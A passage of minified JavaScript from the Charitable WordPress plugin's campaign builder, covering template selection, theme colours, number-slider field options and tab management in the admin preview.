fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){s.templateID=theButton.closest(\".charitable-template\").data(\"template-code\");s.templateLabel=theButton.closest(\".charitable-template\").data(\"template-label\");app.updateTemplateID(s.templateID,s.templateLabel);s.primaryThemeColorBase=s.primaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=theButton.closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));$(\"#charitable-template-list .charitable-template\").removeClass(\"active\");$(\"#charitable-template-list .charitable-banner-container\").each(function(){$(this).addClass(\"charitable-hidden\");$(this).parent().find(\".template-buttons\").removeClass(\"charitable-hidden\")});theButton.closest(\".charitable-template\").addClass(\"active\");theButton.closest(\".charitable-template\").find(\".template-buttons\").addClass(\"charitable-hidden\");theButton.closest(\".charitable-template\").find(\".charitable-banner-container\").removeClass(\"charitable-hidden\");$(\".charitable-setup-desc.secondary-text strong.template-name\").html(s.templateLabel);wpchar.debug(\"chose this path\");app.restartForm(s.templateID,\"design\",s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})}});app.showUpgradeBanner()},restartTemplateScreen:function(templateID=0){if(templateID===\"\"||templateID===0){templateID=s.templateID}if(templateID===\"\"||templateID===0){return}const templateList=$(\".charitable-template-list-container\");templateList.find(\".template-buttons\").remove(\".preview-campaign\");templateList.find(\".button.create-campaign\").removeClass(\"create-campaign\").addClass(\"update-campaign\").html(charitable_builder.update_campaign);templateList.find(\".charitable-template\").removeClass(\"active\");templateList.find(\".charitable-template .charitable-banner-container\").addClass(\"charitable-hidden\");templateList.find('.charitable-template[data-template-code=\"'+templateID+'\"]').addClass(\"active\");templateList.find('.charitable-template[data-template-code=\"'+templateID+'\"] .charitable-banner-container').removeClass(\"charitable-hidden\")},restartForm:function(templateID=0,panel=\"design\",templateLabel=false){app.updateTemplateID(templateID,templateLabel);app.showLoadingOverlay();var data={action:\"charitable_get_campaign_builder_template_data\",id:templateID,title:s.campaignTitle,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,data,function(response){if(response.success){$(\"#charitable-field-options .charitable-layout-options-group-inner\").find(\".charitable-panel-field\").remove();$(\"#charitable-field-options .charitable-select-field-notice\").show();s.quilled=[];elements.$nextFieldId.val(0);app.hideLoadingOverlay();var previewLayout=typeof response.data.preview!==\"undefined\"?response.data.preview:false,previewFieldOptions=typeof response.data.field_options!==\"undefined\"?response.data.field_options:false,previewTabOptions=typeof response.data.tab_options!==\"undefined\"?response.data.tab_options:false,previewAdvancedOptions=typeof response.data.advanced!==\"undefined\"?response.data.advanced:false;if(previewLayout){app.addLayoutToPreview(previewLayout)}else{wpchar.debug(\"previewLayout is false or not defined\")}if(previewFieldOptions){app.addFieldOptions(previewFieldOptions)}else{wpchar.debug(\"previewFieldOptions is false or not defined\")}if(previewTabOptions){app.addTabOptions(previewTabOptions)}else{wpchar.debug(\"previewTabOptions is false or not defined\")}if(previewAdvancedOptions){app.addAdvancedOptions(previewAdvancedOptions)}else{wpchar.debug(\"previewAdvancedOptions is false or not defined\")}if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.ready===\"function\"){Charitable.Admin.Builder.DragFields.ready()}app.updateFormHiddenFields();app.updateFormHiddenFieldID();$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true;elements.$preview.find(\".charitable-field-section\").each(function(){app.checkFieldTargetState($(this))});app.checkAllRecommendedFields();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();if(panel){app.panelSwitch(\"design\")}$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.checkFieldAllow();app.checkFieldMax();if(typeof response.data.settings.general.description!==\"undefined\"&&response.data.settings.general.description!=\"\"){s.campaignDescription=response.data.settings.general.description;elements.$settingsPanel.find('input[name=\"settings[general][description]\"').val(s.campaignDescription)}app.setCampaignNotSaved();$builder.trigger(\"charitableEditorScreenStart\")}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},checkNoFieldsPreview(forceModeOff=false){if(forceModeOff===false&&elements.$preview.find('.charitable-field-section[data-section-type=\"fields\"] .charitable-field').length===0&&typeof charitable_builder.no_field_preview!==\"undefined\"){$(\"#charitable-design-wrap\").addClass(\"no-fields-mode\");if($builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").removeClass(\"charitable-hidden\")}}else if(forceModeOff!==false){if(!$builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").addClass(\"charitable-hidden\")}$(\"#charitable-design-wrap\").removeClass(\"no-fields-mode\")}else{if(!$builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").addClass(\"charitable-hidden\")}$(\"#charitable-design-wrap\").removeClass(\"no-fields-mode\")}},checkFieldTargetState($section=false){if(false===$section){return}if($section.data(\"section-type\")!==\"fields\"&&$section.data(\"section-type\")!==\"tabs\"){return}if($section.data(\"section-type\")===\"fields\"){if($section.find(\".charitable-field\").length===0){$section.removeClass(\"charitable-field-target-inactive\").addClass(\"charitable-field-target\")}else{$section.removeClass(\"charitable-field-target\").addClass(\"charitable-field-target-inactive\")}}else if($section.data(\"section-type\")===\"tabs\"){if($section.find(\".tab_content_item.active .charitable-field\").length===0){$section.find(\".tab_content_item.active\").removeClass(\"empty-tab\").addClass(\"empty-tab\")}else{$section.find(\".tab_content_item.active\").removeClass(\"empty-tab\")}}},addAdvancedOptions(previewAdvancedOptions){var advancedFieldsInTab=$(\".charitable-layout-options-tab-advanced\").find(\"input, select\");advancedFieldsInTab.each(function(){var $thisInput=$(this),advancedFieldId=$thisInput.data(\"advanced-field-id\");if(typeof previewAdvancedOptions[advancedFieldId]!==\"undefined\"&&advancedFieldId!=\"\"){if($thisInput.is(\"select\")){$thisInput.val(previewAdvancedOptions[advancedFieldId]).change()}else{$thisInput.val(previewAdvancedOptions[advancedFieldId])}}})},addFieldOptions(previewFieldOptions){elements.$fieldOptions.find(\".charitable-layout-options-group-inner .charitable-select-field-notice\").after(previewFieldOptions)},addTabOptions(previewTabOptions){elements.$fieldOptions.find(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs .charitable-layout-options-group-inner\").html(previewTabOptions)},addLayoutToPreview(previewLayout){elements.$preview.find(\".charitable-design-wrap\").replaceWith(previewLayout)},alignFieldEvents:function($builder){$builder.on(\"click\",\".charitable-panel-field-align a\",function(e){e.preventDefault();var clickedLink=$(this),panelField=clickedLink.closest(\".charitable-panel-field\"),alignValue=\"\"!==clickedLink.data(\"align-value\")?clickedLink.data(\"align-value\"):\"center\";panelField.find(\"span\").removeClass(\"active\");panelField.find('input[type=\"hidden\"').val(alignValue);clickedLink.parent().addClass(\"active\");app.setCampaignNotSaved()})},numberSliderEvents:function($builder){elements.$fieldOptions.on(\"input change\",'input[type=\"range\"]',function(e){var minimum_value=$(this).attr(\"min-actual\")?parseInt($(this).attr(\"min-actual\")):0,scrolled_value=$(this).val();if(minimum_value>0){if(scrolled_value\u003C=minimum_value){$(this).val(minimum_value);$(this).next().addClass(\"min-reach\")}else{$(this).next().removeClass(\"min-reach\")}}app.setCampaignNotSaved()});$builder.on(\"change input\",\".charitable-panel-field-number-slider input[type=range]\",function(event){var hintEl=$(event.target).siblings(\".charitable-number-slider-hint\");hintEl.attr(\"data-hint\",event.target.value);hintEl.html(event.target.value+hintEl.data(\"symbol\")+\"\u003Csmall>minimum\u003C\u002Fsmall>\")});$builder.on(\"input\",\".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-min\",app.fieldNumberSliderUpdateMin);$builder.on(\"input\",\".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-max\",app.fieldNumberSliderUpdateMax);$builder.on(\"input\",\".charitable-number-slider-default-value\",_.debounce(app.changeNumberSliderDefaultValue,500));$builder.on(\"input\",\".charitable-number-slider-step\",_.debounce(app.changeNumberSliderStep,500));$builder.on(\"focusout\",\".charitable-number-slider-step\",app.checkNumberSliderStep);$builder.on(\"input\",\".charitable-number-slider-value-display\",_.debounce(app.changeNumberSliderValueDisplay,500));$builder.on(\"input\",\".charitable-number-slider-min\",_.debounce(app.changeNumberSliderMin,500));$builder.on(\"input\",\".charitable-number-slider-max\",_.debounce(app.changeNumberSliderMax,500))},changeNumberSliderMin:function(event){var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,\"min\")},changeNumberSliderMax:function(event){var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,\"max\").updateNumberSliderStepValueMaxAttr(fieldID,event.target.value)},changeNumberSliderValueDisplay:function(event){var str=event.target.value;var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var defaultValue=document.getElementById(\"charitable-field-option-\"+fieldID+\"-default_value\");if(defaultValue){app.updateNumberSliderHintStr(fieldID,str).updateNumberSliderHint(fieldID,defaultValue.value)}},changeNumberSliderStep:function(event){var value=parseFloat(event.target.value);if(isNaN(value)){return}var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");if(value\u003C=0){return}if(value>max){event.target.value=max;return}if(value\u003Cmin){event.target.value=min;return}app.updateNumberSliderAttr(fieldID,value,\"step\").updateNumberSliderDefaultValueAttr(fieldID,value,\"step\")},checkNumberSliderStep:function(event){var value=parseFloat(event.target.value),$input=$(this);if(!isNaN(value)&&value>0){return}$.confirm({title:charitable_builder.heads_up,content:charitable_builder.error_number_slider_increment,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){$input.val(\"\").trigger(\"focus\")}}}})},changeNumberSliderDefaultValue:function(event){var value=parseFloat(event.target.value);if(!isNaN(value)){var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(\".charitable-field-option-row-default_value\").data(\"fieldId\");if(value>max){event.target.value=max;return}if(value\u003Cmin){event.target.value=min;return}app.updateNumberSlider(fieldID,value).updateNumberSliderHint(fieldID,value)}},updateNumberSliderDefaultValueAttr:function(fieldID,newValue,attr){var input=document.getElementById(\"charitable-field-option-\"+fieldID+\"-default_value\");if(input){var value=parseFloat(input.value);input.setAttribute(attr,newValue);newValue=parseFloat(newValue);if(\"max\"===attr&&value>newValue){input.value=newValue;$(input).trigger(\"input\")}if(\"min\"===attr&&value\u003CnewValue){input.value=newValue;$(input).trigger(\"input\")}}return this},updateNumberSlider:function(fieldID,value){var numberSlider=document.getElementById(\"charitable-number-slider-\"+fieldID);if(numberSlider){numberSlider.value=value}return this},updateNumberSliderAttr:function(fieldID,value,attr){var numberSlider=document.getElementById(\"charitable-number-slider-\"+fieldID);if(numberSlider){numberSlider.setAttribute(attr,value)}return this},updateNumberSliderHintStr:function(fieldID,str){var hint=document.getElementById(\"charitable-number-slider-hint-\"+fieldID);if(hint){hint.dataset.hint=str}return this},updateNumberSliderHint:function(fieldID,value){var hint=document.getElementById(\"charitable-number-slider-hint-\"+fieldID);if(hint){hint.innerHTML=wpchar.sanitizeHTML(hint.dataset.hint).replace(\"{value}\",\"\u003Cb>\"+value+\"\u003C\u002Fb>\")}return this},fieldNumberSliderUpdateMin:function(event){var $options=$(event.target).parents(\".charitable-field-option-row-min_max\"),max=parseFloat($options.find(\".charitable-number-slider-max\").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(max\u003C=current){event.preventDefault();this.value=max;return}var fieldId=$options.data(\"field-id\"),numberSlider=$builder.find(\"#charitable-field-\"+fieldId+' input[type=\"range\"]');numberSlider.attr(\"min\",current)},fieldNumberSliderUpdateMax:function(event){var $options=$(event.target).parents(\".charitable-field-option-row-min_max\"),min=parseFloat($options.find(\".charitable-number-slider-min\").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(min>=current){event.preventDefault();this.value=min;return}var fieldId=$options.data(\"field-id\");var numberSlider=$builder.find(\"#charitable-field-\"+fieldId+' input[type=\"range\"]');numberSlider.attr(\"max\",current)},updateNumberSliderStepValueMaxAttr:function(fieldID,newValue){var input=document.getElementById(\"charitable-field-option-\"+fieldID+\"-step\");if(input){var value=parseFloat(input.value);input.setAttribute(\"max\",newValue);newValue=parseFloat(newValue);if(value>newValue){input.value=newValue;$(input).trigger(\"input\")}}return this},isVisitedViaBackButton:function(){if(!performance){return false}var isVisitedViaBackButton=false;performance.getEntriesByType(\"navigation\").forEach(function(nav){if(nav.type===\"back_forward\"){isVisitedViaBackButton=true}});return isVisitedViaBackButton},hideLoadingOverlay:function(){var $overlay=$(\"#charitable-builder-overlay\");$overlay.addClass(\"fade-out\");setTimeout(function(){$overlay.hide()},200)},initCodeEditor:function(){if($(\".campaign-builder-codeeditor\").length>0){var field_id=\"\";$(\".campaign-builder-codeeditor\").each(function(){if($(this).attr(\"id\").indexOf(\"charitable-panel-field-settings-field_html_html_\")!==-1){field_id=$(this).attr(\"id\").replace(\"charitable-panel-field-settings-field_html_html_\",\"\");wpchar.debug(\"field_id: \"+field_id);$builder.trigger(\"charitableFieldAddHTML\",[field_id,\"html\"])}})}},showLoadingOverlay:function(){var $overlay=$(\"#charitable-builder-overlay\");$overlay.removeClass(\"fade-out\");$overlay.show()},updateFormUI:function(element=false,value=false){var title=false;if(element===\"title\"){title=value}else{title=$(\"input.charitable-form-name\").val()}title=title.replace(\u002F[^\\w\\s\\u00C0-\\u024F\\u1E00-\\u1EFF\\u2C60-\\u2C7F\\uA720-\\uA7FF _.,!\"()'\\\u002F$[\\]:@#%-]\u002Fgi,\"\");elements.$campaignNameTopBanner=$(\"input.charitable-form-name\");elements.$campaignNamePreview=$(\".charitable-preview .charitable-form-name\");elements.$campaignNameFieldTitleSettings=$(\"input.charitable-campaign-builder-title\");elements.$campaignNameTopBanner.val(title);elements.$campaignNamePreview.html(title);elements.$campaignNameFieldTitleSettings.val(title);elements.$preview.find(\".charitable-field-campaign-title .charitable-campaign-builder-placeholder-preview-text\").html('\u003Ch1 class=\"charitable-campaign-title\">'+title+\"\u003C\u002Fh1>\");if(element===\"title\"){s.campaignTitle=title;app.resizeTopCampaignTitleInputBox()}},bindUIActions:function(){app.bindAutoResizeCampaignTitle();app.bindUIEditCampaignTitle();app.bindCampaignTitleBlockTextField();app.bindUIActionsPanels();app.bindUIActionsFields();app.bindUIActionsPreview();app.bindUIActionsSaveExit();app.bindUIActionsGeneral();app.bindUITabs();$builder.on(\"change\",\"input, textarea, select, checkbox, radio\",function(e){app.setCampaignNotSaved()});app.bindUILayoutOptionsAdvanced();app.bindUISettingsRevealGroups();app.bindUIMoneyTextFields();app.checkFieldConditionals();$builder.on(\"change\",\"select#charitable-panel-field-settings-campaign_campaign_creator_id\",function(e){app.updateCampaignCreatorInfo()});$builder.on(\"click\",\"div#charitable-marketing-form a.button-link, div#charitable-payment-form a.button-link, div#charitable-feedback-form a.button-link\",function(e){e.preventDefault();app.initFeedbackForms($(this))});$builder.on(\"click\",\"a.send-feedback\",function(e){e.preventDefault();$(\".charitable-panel-content-wrap\").animate({scrollTop:0},500);$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');$(\".charitable-feedback-form-container\").css(\"opacity\",\"100\").css(\"visibility\",\"visible\");$(\".charitable-feedback-form-container\").find(\".charitable-feedback-form-interior\").removeClass(\"charitable-hidden\");$(\".charitable-feedback-form-container\").find(\"textarea\").val(\"\");$(\".charitable-feedback-form-interior-confirmation\").addClass(\"charitable-hidden\")});$builder.on(\"keyup\",\"table.charitable-campaign-suggested-donations-mini input\",function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){var theIndex=$(this).index('.charitable-panel-field[data-field-id=\"'+field_id+'\"] table.charitable-campaign-suggested-donations-mini input[type=\"text\"].campaign_suggested_donations');app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on(\"change keyup blur input\",'table.charitable-campaign-suggested-donations input[type=\"text\"].campaign_suggested_donations',function(e){var theIndex=$(this).index('.charitable-campaign-suggested-donations input[type=\"text\"].campaign_suggested_donations'),field_name=$(this).attr(\"name\");if(field_name.indexOf(\"recurring\")\u003C1){app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on(\"change\",'.charitable-campaign-builder-allow-custom-donations input[type=\"checkbox\"]',function(e){$('.charitable-campaign-builder-allow-custom-donations input[type=\"checkbox\"]').prop(\"checked\",$(this).is(\":checked\"));app.updateAllowCustomDonationSettings($(this).is(\":checked\"))});$builder.on(\"change\",'input[type=\"radio\"].campaign_suggested_donations',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\")),field_name=$(this).attr(\"name\");if(field_name.indexOf(\"recurring\")\u003C1){app.updateSuggestedDonationAmountDefault($(this).val())}});app.bindUIInputRange();$builder.on(\"click\",\".education-buttons button.update-to-pro-link\",function(e){if($(this).prev(\"a\").length>0){window.open($(this).prev(\"a\").attr(\"href\"),\"_blank\")}else{window.open(\"https:\u002F\u002Fwpcharitable.com\u002Flite-vs-pro\u002F\",\"_blank\")}})},bindUILayoutOptionsAdvanced:function(){$builder.on(\"change\",\"select#charitable-design-layout-options-advanced-tab-style\",function(e){e.preventDefault();var $this=$(this),$preview_nav=$(\"nav.charitable-campaign-preview-nav\");$($this).find(\"option\").each(function(){$preview_nav.removeClass(\"tab-style-\"+this.value)});$preview_nav.addClass(\"tab-style-\"+$this.find(\":selected\").val())});$builder.on(\"change\",\"select#charitable-design-layout-options-advanced-tab-size\",function(e){e.preventDefault();var $this=$(this),$preview_nav=$(\"nav.charitable-campaign-preview-nav\");$($this).find(\"option\").each(function(){$preview_nav.removeClass(\"tab-size-\"+this.value)});$preview_nav.addClass(\"tab-size-\"+$this.find(\":selected\").val())})},tabGroupsAdd:function(el,e){e.preventDefault();var count=elements.$sortableTabContent.find(\".tab_content_item\").length;if(count>=s.maxNumberOfTabs){app.formGenericNotice(\"You cannot have more than \"+s.maxNumberOfTabs+\" tabs in your campaign template.\");return}var $this=$(el),$groupLast=$this.parent().find(\".charitable-group.charitable-layout-options-tab-group.hidden\").last(),$newGroup=$groupLast.clone(),tab_content=elements.$preview.find(\".tab-content\"),default_tab_content_type=\"html\";var dataList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){return parseInt($(this).attr(\"data-group_id\"))}).get();var groupID=Math.max.apply(null,dataList)+1;if(typeof groupID===\"undefined\"){app.formGenericError(\"Error ecountered attempting to add another tab.\");return}$newGroup.attr(\"data-group_id\",groupID);$newGroup.attr(\"data-tab-id\",groupID);$newGroup.find(\".charitable-group-row\").attr(\"data-tab-id\",groupID);$newGroup.find(\"input, select, textarea, label\").each(function(index){var $this=$(this),forAttr=$this.attr(\"for\"),nameAttr=$this.attr(\"name\"),idAttr=$this.attr(\"id\");if(typeof idAttr!==\"undefined\"&&idAttr!==false){$this.attr(\"id\",$this.attr(\"id\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}if(typeof nameAttr!==\"undefined\"&&nameAttr!==false){$this.attr(\"name\",$this.attr(\"name\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}if(typeof forAttr!==\"undefined\"&&forAttr!==false){$this.attr(\"for\",$this.attr(\"for\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}});$newGroup.find('input[name=\"tabs__'+groupID+'__title\"]').val(\"New Tab\");$newGroup.find('textarea[name=\"tabs__'+groupID+'__desc\"]').html(\"Content\");$(\".charitable-layout-options-tab-group\").removeClass(\"active\");$newGroup.addClass(\"active\");$newGroup.removeClass(\"charitable-closed\").addClass(\"charitable-open\").removeClass(\"hidden\").find(\".charitable-angle-right\").removeClass(\"charitable-angle-right\").addClass(\"charitable-angle-down\");$this.before($newGroup);app.bindUIActionPanelsTabs();app.checkHideTabNavigation();$(\"nav.charitable-campaign-preview-nav ul li\").removeClass(\"active\");tab_content.find(\"ul li\").removeClass(\"active\");$(\"nav.charitable-campaign-preview-nav ul\").append('\u003Cli data-tab-type=\"html\" data-tab-id=\"'+groupID+'\" class=\"tab_title active\" id=\"tab_'+groupID+'_title\">\u003Ca href=\"#\">'+charitable_builder.new_tab+\"\u003C\u002Fa>\u003C\u002Fli>\");tab_content.find(\"ul\").append('\u003Cli id=\"tab_'+groupID+'_content\" class=\"tab_content_item empty-tab active tab_type_'+default_tab_content_type+'\" data-tab-type=\"'+default_tab_content_type+'\" data-tab-id=\"'+groupID+'\">\u003Cdiv class=\"charitable-tab-wrap ui-sortable\">\u003Cp class=\"empty-tab-notice\">'+charitable_builder.empty_tab+\"\u003C\u002Fp>\u003C\u002Fdiv>\u003C\u002Fli>\");tab_content.removeClass(\"empty-tabs\");tab_content.find(\".no-tab-notice\").remove();$builder.trigger(\"charitableAddNewTab\",groupID)},bindUITabs:function(){$builder.on(\"click\",\"button.charitable-tab-groups-add\",function(e){app.tabGroupsAdd(this,e)});$builder.find(\".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner\").sortable({handle:\".charitable-draggable\",update:function(event,ui){var dataList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){if(!$(this).hasClass(\"hidden\")){return parseInt($(this).attr(\"data-group_id\"))}}).get();var activeList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){if($(this).hasClass(\"active\")){return parseInt($(this).attr(\"data-group_id\"))}}).get();$(\"nav.charitable-campaign-preview-nav ul\").empty();dataList.forEach(function(groupID){var $tab=$(\"#charitable-field-options\").find('[data-group_id=\"'+groupID+'\"]'),textFieldnName=groupID,isActive=activeList.indexOf(groupID)>=0?\"active\":\"\",tabType=groupID!==0&&\"\"!==$tab.find('input[name=\"tabs__'+textFieldnName+'__type\"').val()?$tab.find('input[name=\"tabs__'+textFieldnName+'__type\"').val():\"html\",tabTitle=$tab.find('input[name=\"tabs__'+textFieldnName+'__title\"').val();$(\"nav.charitable-campaign-preview-nav ul\").append('\u003Cli data-tab-type=\"'+tabType+'\" data-tab-id=\"'+groupID+'\" class=\"tab_title '+isActive+'\" id=\"tab_'+groupID+'_title\">\u003Ca href=\"#\">'+tabTitle+\"\u003C\u002Fa>\u003C\u002Fli>\")})}});$builder.on(\"click\",\"input, select, textarea, .ql-editor\",\".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner .charitable-layout-options-tab-group\",function(e){if(!$(this).closest(\".charitable-layout-options-tab-group\").hasClass(\"active\")){var group_id=$(this).closest(\".charitable-layout-options-tab-group\").data(\"group_id\");$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id=\"'+group_id+'\"] a').click()}});$builder.on(\"click\",\"a.charitable-configure-tab-settings\",function(e){app.fieldTabToggle(\"layout-options\");$(\".charitable-layout-options-tab\").removeClass(\"active\");$(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs\").addClass(\"active\")});$builder.on(\"click\",\"nav li.tab_title a\",function(e){e.preventDefault();var $preview=$(\".charitable-campaign-preview\"),tab_id=$(this).parent().data(\"tab-id\"),tab_type=$preview.find(\"li#tab_\"+tab_id+\"_title\").attr(\"data-tab-type\");$(\".tab-content ul li\").removeClass(\"active\");$(\"nav li.tab_title\").removeClass(\"active\");$(this).parent().addClass(\"active\");$(\".tab-content ul li#tab_\"+tab_id+\"_content\").addClass(\"active\");$(\".charitable-layout-options-tab\").removeClass(\"active\");$(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs\").addClass(\"active\");$(\".charitable-layout-options-tab\").find(\".charitable-layout-options-tab-group\").each(function(){$(this).removeClass(\"charitable-open\");var cookieValue=wpCookies.get(\"charitable_panel_layout_options_tabs_tab_open_\"+$(this).data(\"group_id\"));if(cookieValue===\"true\"){$(this).addClass(\"charitable-open\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").addClass(\"charitable-angle-down\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").removeClass(\"charitable-angle-right\");$(this).removeClass(\"charitable-closed\")}else{$(this).removeClass(\"charitable-open\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").removeClass(\"charitable-angle-down\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").addClass(\"charitable-angle-right\");$(this).addClass(\"charitable-closed\")}});$(\".charitable-layout-options-tab .charitable-group\").removeClass(\"active\");$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").addClass(\"active\").removeClass(\"charitable-closed\");$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").find(\".charitable-group-rows\").show();$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").find(\".charitable-toggleable-group i\").removeClass(\".charitable-angle-right\").addClass(\"charitable-angle-down\");$(\"#layout-options a\").click();$(\"#charitable-preview-tab-container\").addClass(\"active\");wpCookies.set(\"charitable_panel_tab_section_tab_id\",tab_id,2592e3);wpCookies.set(\"charitable_panel_layout_options_tabs_tab_open_\"+tab_id,true,2592e3);wpCookies.set(\"charitable_panel_content_section\",\"\",2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)});$builder.on(\"change\",\".charitable-group select.tab_type\",function(e){e.preventDefault();var $this=$(this),group_id=$this.closest(\".charitable-group\").data(\"group_id\"),$preview=$(\".charitable-campaign-preview\"),selected_value=$this.val();$preview.find(\"nav li.tab_title[data-tab-id=\"+group_id+\"]\").attr(\"data-tab-type\",selected_value);$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").attr(\"data-tab-type\",selected_value);$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").removeClass(function(index,className){return(className.match(\u002F(^|\\s)tab_type_\\S+\u002Fg)||[]).join(\" \")});$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").addClass(\"tab_type_\"+selected_value);var data={action:\"charitable_tab_content_preview\",type:selected_value,group_id:group_id,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").html(response.data.output)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})});$builder.on(\"input\",\"input#charitable-panel-field-settings-charitable-campaign-enable-tabs\",function(e){const isChecked=$(this).is(\":checked\");if(isChecked){$(\"#charitable-preview-tab-container\").addClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-style\").prop(\"disabled\",true).addClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-size\").prop(\"disabled\",true).addClass(\"disabled\")}else{$(\"#charitable-preview-tab-container\").removeClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-style\").prop(\"disabled\",false).removeClass(\"disabled\");$(\"#charitable-design-layout-options-advanced-tab-size\").prop(\"disabled\",false).removeClass(\"disabled\")}});$builder.on(\"input\",\"input.charitable-settings-tab-visible-nav\",function(e){const isChecked=$(this).is(\":checked\"),tabID=$(this).closest(\".charitable-tab-title-row\").data(\"tab-id\");if(isChecked){elements.$preview.find(\"nav li#tab_\"+tabID+\"_title\").addClass(\"charitable-tab-hide\")}else{elements.$preview.find(\"nav li#tab_\"+tabID+\"_title\").removeClass(\"charitable-tab-hide\")}});$builder.on(\"keydown\",'.charitable-tab-title-row input[type=\"text\"]',function(e){var 